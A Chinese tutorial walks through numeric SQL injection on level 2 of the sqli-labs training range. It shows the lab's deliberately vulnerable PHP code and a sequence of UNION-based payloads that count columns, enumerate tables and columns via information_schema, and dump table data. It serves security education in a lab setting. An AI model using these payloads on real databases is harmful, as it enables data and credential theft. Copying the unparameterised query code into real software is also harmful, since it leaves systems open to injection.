sql注入–数字型
靶场:sqli-labs-master
下载链接:靶场下载链接
第二关php源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
补充知识:
1.php中双引号中语句会对变量进行解析,单引号中的不会
2.sql查询中如果查询条件不是数字的话,那么一定要加上引号,而数字型则不需要
首先测试?id=1
测试?id=abc
测试 ?id=’ %23
出现报错,说明我们的输入被拼接到了sql语句中并在后台进行查询了,并且查询条件中没有引号(因为使用单引号无法闭合),那么查询条件一定是数字,可以确定是数字型的注入
然后就和上一篇文章中的做法一样
sql注入–报错型
①.获取字段信息
SELECT * FROM users WHERE id=1 order by 3 # LIMIT 0,1
可以知道数据表存在3列
②.判断回显点
SELECT * FROM users WHERE id=0 union select 1,2,3 # LIMIT 0,1
由于数据库中不存在id为0的数据,故可以用此语句进行判断
由此可知,回显点为第2列和第3列
SELECT * FROM users WHERE id=0 union select 1,database(),version() # LIMIT 0,1
③.通过information_schema查询当前数据库中的所有表的名字
SELECT * FROM users WHERE id=0 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() # LIMIT 0,1
得到当前数据库中有4个表:emails,referers,uagents,users
④.通过联合查询information_schema中的columns获取表的字段名称
emails表
ELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' # LIMIT 0,1
可得到emails表中有2个字段:id, email_id
referers表
SELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='referers' # LIMIT 0,1
得到referes表中有3个字段:id, referer,ip_address
其他表同理可得
⑤.获取指定表的数据信息
比如获取emails中的数据信息
SELECT * FROM users WHERE id=0 union select 1,id, email_id from emails where id=1 # LIMIT 0,1
其他表的信息同理可得